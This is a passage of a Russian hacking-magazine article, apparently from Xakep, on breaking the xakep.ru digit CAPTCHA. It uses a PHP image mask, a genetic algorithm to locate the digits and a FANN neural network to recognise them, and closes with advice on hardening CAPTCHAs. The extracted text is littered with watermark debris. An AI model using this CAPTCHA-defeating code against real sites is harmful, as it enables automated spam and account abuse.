точность распознавания хотя бы до 5% при приемлемых затратах процессорного времени. Такая постановка задачи позволит нам выбрать уязвимость, которая должна встречаться хотя бы в каждой 20-й капче и с большой вероятностью гарантировать нам распознавание. И такая уязвимость есть — на некоторых изображениях линии практически не пересекают цифры и такие изображения встречаются достаточно часто. От этой особенности и будем отталкиваться.

Для работы нам в первую очередь потребуется набор распознанных образцов. Скажем, 100 штук для начала будет достаточно. Для этого придется немного поработать «китайцем», но для упрощения задачи можно написать небольшой скрипт, загружающий изображения с капчами с сервера и формирующий форму, которую нам придется заполнить вручную. Так как мы решили опираться на наименее зашумленные изображения, то в качестве образцов стоит использовать именно их. Итак, через несколько минут скучной работы у нас есть директория, в которой аккуратно сложены файлы с капчами, имена которых соответствуют кодам на изображении (например, 2716.jpg). Для подобных экспериментов лучше всего подходят скриптовые языки, такие как PHP или Python, также может быть полезен Matlab, в котором есть удобные библиотеки для анализа и обработки изображений. Мы будем использовать PHP, в котором все функции для работы с изображениями имеют префикс image, для низкоуровневой работы с пикселями достаточно imagecolorat. Вот, например, фрагмент кода, который формирует маску изображения с темными участками:

class Xakep_CAPTCHA

{

// Расстояние между двумя цветами

XÀÊÅÐ 04 /135/ 10

045

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

ВЗЛОМ

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Интерфейсдлявзломакапчи"китайцами"

protected function colordist($color1, $color2)

{

return sqrt(pow((($color1 >> 16) & 0xFF)

-(($color2 >> 16) & 0xFF), 2) + pow((($color1 >> 8) & 0xFF)

-(($color2 >> 8) & 0xFF), 2) + pow(($color1 & 0xFF)

- ($color2 &

0xFF), 2));

}

//Создание маски изображения, выделяющей пиксели, отстающие от белого фона

//больше чем на 200 единиц

protected function update_mask()

{$this->mask = array();

for ($i = 0; $i < $this->width; $i++) for ($j = 0; $j < $this->height; $j++)

$this->mask[$i][$j] = $this->colordist (imagecolorat($this->image, $i, $j), $this->bg_color) > 200 ? 1 : 0;

}

}

Маска, во-первых, выполняет роль упомянутого выше фильтра по яркости, а, во-вторых, увеличивает скорость работы с изображением — нет необходимости каждый раз выполнять преобразования при сравнении цветов пикселей.

ПОИСК НАДПИСИ

Основной принцип, на котором основаны надежные капчи, — затруднение выделения отдельных символов в надписи. Это достигается путем смещения символов относительно их первоначальных позиций и искажений надписи в целом. В капче сайта xakep.ru расстояния между центрами цифр (~19 пикселов) и размеры самих цифр (16x24 пискселов) практически не меняются. Из всех искажений, применяемых к надписи, значительный эффект оказывает только наклон шрифта — им нам пренебречь не удастся.

Если бы не шумовые линии, мы бы смогли сразу точно определить расположение цифр на изображении путем отсечения светлых участков со всех четырех сторон — наши цифры были бы единственным темным пятном. Но придется решить небольшую оптимизационную задачу. Задача оптимизации в общем виде состоит в поиске оптимального значения параметров некоторой целевой функции, значение которой необходимо максимизировать или минимизировать. В нашем случае целевой функцией будет суммарная яркость (точнее её обратное значение) области предполагаемого расположения надписи.

Другими словами мы будем стараться найти на изображении

темное пятно, по форме напоминающее нашу надпись (нам известны размеры цифр и расстояния между ними). Итак, у нас есть 4 прямоугольника, которые при наличии наклона шрифта превращаются в параллелограммы, необходимо найти такое расположение этой группы параллелограммов и такой наклон, чтобы минимизировать суммарную яркость внутри этих параллелограммов. В итоге у нас есть три параметра: x, y (левый верхний угол первого параллелограмма) и d — сдвиг нижнего основания относительно верхнего. Такой метод поиска надписи будет эффективен для не слишком зашумленных линиями изображений, о которых мы и говорили выше.

Для решения подобных задач оптимизации, таких, для которых нет возможности найти аналитическое решение, хорошо подходят генетические алгоритмы. Генетический алгоритм моделирует процессы биологической эволюции: на основе естественного отбора направляет случайный перебор решений в нужном направлении (максимизации или минимизации целевой функции). На первом шаге алгоритма создается начальная популяция особей, каждая особь — один из вариантов решения (набор параметров). Затем для каждой особи рассчитывается значение целевой функции, называемое в контексте эволюции приспособленностью. Если значение целевой функции устраивает постановщика задачи, алгоритм останавливается, если нет — начинается создание нового поколения.

Новое поколение формируется на основе предыдущего с помощью операторов мутации и кроссовера, которые моделируют соответствующие биологические процессы. Оператор мутации изменяет случайным образом один из параметров решения, а оператор кроссовера скрещивает два решения (например, случайным образом выбирается часть параметров первого решения и соединяется с соответствующими параметрами второго). Отбор особей для создания нового поколения осуществляется по принципу естественного отбора — чем выше значение целевой функции (приспособленность) особи, тем выше вероятность её перехода в новую популяцию. После создания нового поколения вновь проводится оценка каждой особи, выявляется лучшая и проверяется условие остановки. Если цель всё ещё не достигнута, создается очередная популяция и т.д. В нашем случае решением является вектор из трех переменных x, y и d, а целевая функция — суммарная яркость пикселов внутри параллелограммов. Расчет целевой функции производится следующим образом:

// Функция вызывается во время работы генетического алгоритма

public function test_dna($array)

{

$fitness = 0;

for ($d = 0; $d < $this->digits_quantity; $d++) for ($i = 0; $i < $this->digit_width; $i++)

for ($j = 0; $j < $this->digit_height; $j++)

{

// Вычисление позиции пикселя на основе отступов (x, y) и сдвига (d)

$x = $this->digit_kerning * $d + $i + $array['x'] + round($array['d'] * ($j / $this->digit_ height));

$y = $j + $array['y'];

$fitness += $this->mask[$x][$y];

}

return $fitness;

}

046

XÀÊÅÐ 04 /135/ 10

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Структураискусственнойнейроннойсетидляраспознаваниясимволов

Так как во время работы алгоритма расчет целевой функции для заданного решения будет происходить многократно, разумно будет использовать маску, создание которой было описано ранее. Маска позволит избежать многократных преобразований и сравнений цветов пикселей при оценке решения. Реализовав алгоритм и проведя тестирование получаем очень хорошие результаты — 90% точного определения расположения надписи при затратах в одну-две секунды процессорного времени. На основе найденного решения «вырезаем» все 4 цифры из изображения и приводим их к прямоугольному виду (16x24 пикселов):

protected function divide_digits($params)

{

$this->digits = array();

for ($i = 0; $i < $this->digits_quantity; $i++)

{

// Создаем изображение для отдельной цифры $this->digits[$i]['image'] = imagecreatetruecolor($this->digit_width,

$this->digit_height); $this->digits[$i]['width'] = $this->digit_width;

$this->digits[$i]['height'] = $this->digit_height; for ($x = 0; $x < $this->digit_width; $x++)

{ for ($y = 0; $y < $this->digit_height; $y++)

{

// Вычисляем сдвиг, "выпрямляющий" изображение $d = round($params['d'] * ($y / $this->digit_

height));

$co lor = imagecolorat($this->image, $x + $this->digit_kerning * $i + $d + $params['x'], $y + $params['y']);

imagesetpixel($this->digits[$i]['image'], $x, $y, $color);

}

}

}

}

РАСПОЗНАВАНИЕ

Теперь задача сводится к распознаванию каждой отдельной цифры. Даже на «удачных» образцах с низкой зашумленностью цифры все равно в большинстве случаев перекрываются линиями, что не позволит нам просто сравнивать их с шаблонами. Классический инструмент для распознавания текста — искусственные нейронные сети, которые мы и будем использовать. Искусственная нейронная сеть представляет собой математическую модель нейронной сети головного мозга человека (или

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

животного). Нейросеть состоит из простейших элементов — нейронов. Нейроны связаны между собой, по этим связям проходят сигналы — числа от 0 до 1. Каждый нейрон выполняет несложную математическую операцию: на основе поступающих от других нейронов сигналов и их весов вычисляется выходной сигнал текущего нейрона. Веса связей между нейронами являются параметрами, которые определяют работу нейронной сети. Нейроны группируются в последовательность слоев (feedforward сети), входной сигнал (условия задачи) поступает на первый слой и последовательно проходит все слои до последнего (решение). Обучение нейронной сети может происходить с учителем (набором уже решенных задач) или без него (например, на основе реакции среды). Обучение с учителем происходит путем последовательного выполнения нейронной сети на уже решенных задачах и сравнения получившегося результата с ответом: если ответ не совпадает, производится коррекция весов связей. С математической точки зрения нейронная сеть в целом — это «черный ящик». Процессы, происходящие внутри нейросети, очень трудно поддаются математическому анализу, поэтому для прикладных целей нейросеть достаточно рассматривать как некоторую систему, способную находить закономерности в некоторых наборах данных. Самостоятельно реализовывать нейронные сети для такой задачи дело неблагодарное, поэтому мы воспользуемся бесплатной библиотекой Fast Artificial Neural Network (www.leenissen.dk/fann). Эта библиотека хороша тем, что имеет интерфейсы практически для всех популярных языков программирования и требует минимального опыта работы с нейросетями. Для использования достаточно нескольких функций:

//Создание нейросети

//Параметры:

//1. Количество слоев и нейронов в каждом из них

//2. Связность нейросети (1 — полносвязная)

//3. Скорость изменения весов при обучении

$ann = fann_create(array(384, 150, 10), 1, 0.7);

//Обучение нейросети

//Параметры:

//1. Нейросеть

//2. Обучающий набор (массив, содержащий массивы, соответствующие входному и выходному слоям)

//3. Максимальное количество итераций

//4. Допустимая погрешность

//5. Промежутки, через которые выводится отчет об обучении

fann_train($ann, $set, 10000, 0.001, 100);

//Выполнение нейросети на входном наборе $input

$output = fann_run($ann, $input);

//Запись нейросети в файл fann_save($ann, 'ann.data');

//Загрузка нейросети из файла $ann = fann_create('ann.data');

Опытным путем была подобрана оптимальная структура нейронной сети для нашей задачи — три слоя по 384, 150 и 10 нейронов. Первый (входной) слой принимает значения соответствующих пикселов (16х24 = 384) изображения цифры, нормализованные к отрезку от 0 до 1 (значение яркости), внутренний слой играет основную роль в распознавании, а последний выходной слой представляет собой вектор из 10 переменных от 0 до 1, каждая из которой соответствует одной из цифр: чем выше значение, тем больше подобие изображения, соответствующей цифре. В данном случае используется только один внутренний слой, потому что логика, реализуемая нашей нейросетью, практически является «примеркой» усредненных шаблонов каждой цифры к изображению, поэтому нескольких последовательных операций не требуется. Для обучения нейросети воспользуемся заготовленными образцами, кроме того нам потребуется ещё один набор образцов для

XÀÊÅÐ 04 /135/ 10

047

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

o

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

ВЗЛОМ

RAZ0R HTTP://RAZ0R.NAME

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Коддляобучениянейроннойсети

независимого тестирования, который должен формироваться случайным образом без учета зашумленности:

function train()

{

$dir = "samples/"; $set = array();

if ($dh = opendir($dir))

{

while (($file = readdir($dh)) !== false)

{

if (filetype($dir.$file) == 'file')

{

$answer = str_replace('.jpg', '', $file); $xc = new Xakep_CAPTCHA($dir.$file,

'ann.data', 4, $answer); $out = $xc->parse();

$set []= $xc->sample;

}

}

closedir($dh);

}

$ann = fann_create(array(384, 150, 10), 1, 0.7); fann_train($ann, $set, 10000, 0.001, 100); fann_save($ann, 'ann.data');

}

Первая попытка обучения на 100 образцах дала 43% успешных распознаваний на независимом тестовом наборе, что соответствует примерно 3% (0.43 ^ 4), что уже близко к нашей цели. Дополнив базу образцов ещё 100 экземплярами, получаем 55% успешных распознаваний отдельных цифр и примерно 10% всей капчи. С учетом того, что на попытку распознавания одной капчи расходуется около 1-2 секунд процессорного времени, общие затраты на успешный взлом одной капчи составят 10-20 секунд. Это, в целом, приемлемое время, однако увеличение количества образцов для обучения нейросети позволит значительно снизить эти расходы. Для тестирования используем следующий код:

function test()

{

$dir = "test/"; $c = 0;

$wins = 0;

if ($dh = opendir($dir))

{

Наборраспознанныхобразов дляобучениянейроннойсети

while (($file = readdir($dh)) !== false)

{

if (filetype($dir.$file) == 'file')

{

$xc = new Xakep_CAPTCHA($dir.$file, 'ann.data', 4);

$out = $xc->parse();

if ($out == str_replace('.jpg', '', $file)) $wins++;

print '<img src="http://localhost/ xakep_captcha/test/'.$file.'"> '.$out.'<br><br>';

flush(); $c++;

}

}

closedir($dh);

}

print $wins.'/'.$c;

}

ВЫВОДЫ И ЗАКЛЮЧЕНИЕ

Как показывает практика, любая капча может быть взломана, вопрос лишь в том, оправдает ли результат затраченные усилия. Что на данный момент точно нереализуемо, так это универсальная система распознавания, способная без какой либо ручной настройки распознавать любые капчи. Какие рекомендации можно дать сайту xakep.ru по усилению безопасности капчи? Во-первых, добавить искажения, изменяющие расположение цифр относительно друг друга, что затруднит их разделение. Во-вторых, исключение вариантов, при которых шумовые линии практически не перекрывают надпись, — это также затруднит определение положения всей надписи и уменьшит точность распознавания цифр нейросетью. В-третьих, можно увеличить количество цифр хотя бы до 6, что значительно уменьшит общую вероятность успешного распознавания. Эти рекомендации справедливы и для большинства других сайтов. Для тех сайтов, взлом капчи которых является экономически выгодным для спамеров, следует предусматривать дополнительные меры защиты, например, подтверждение регистрации через отправку кода по SMS (как это делает Google в некоторых случаях). Технологии распознавания образов, текстов, звуков развиваются параллельно с увеличением вычислительной мощности компьютеров. Рано или поздно капчи перестанут быть преградой для роботов, однако, проблема может быть решена с помощью упомянутого выше подтверждения через смс или надежных OpenID-провайдеров, осуществляющих проверку своих пользователей.z

048

XÀÊÅÐ 04 /135/ 10

Соседние файлы в папке журнал хакер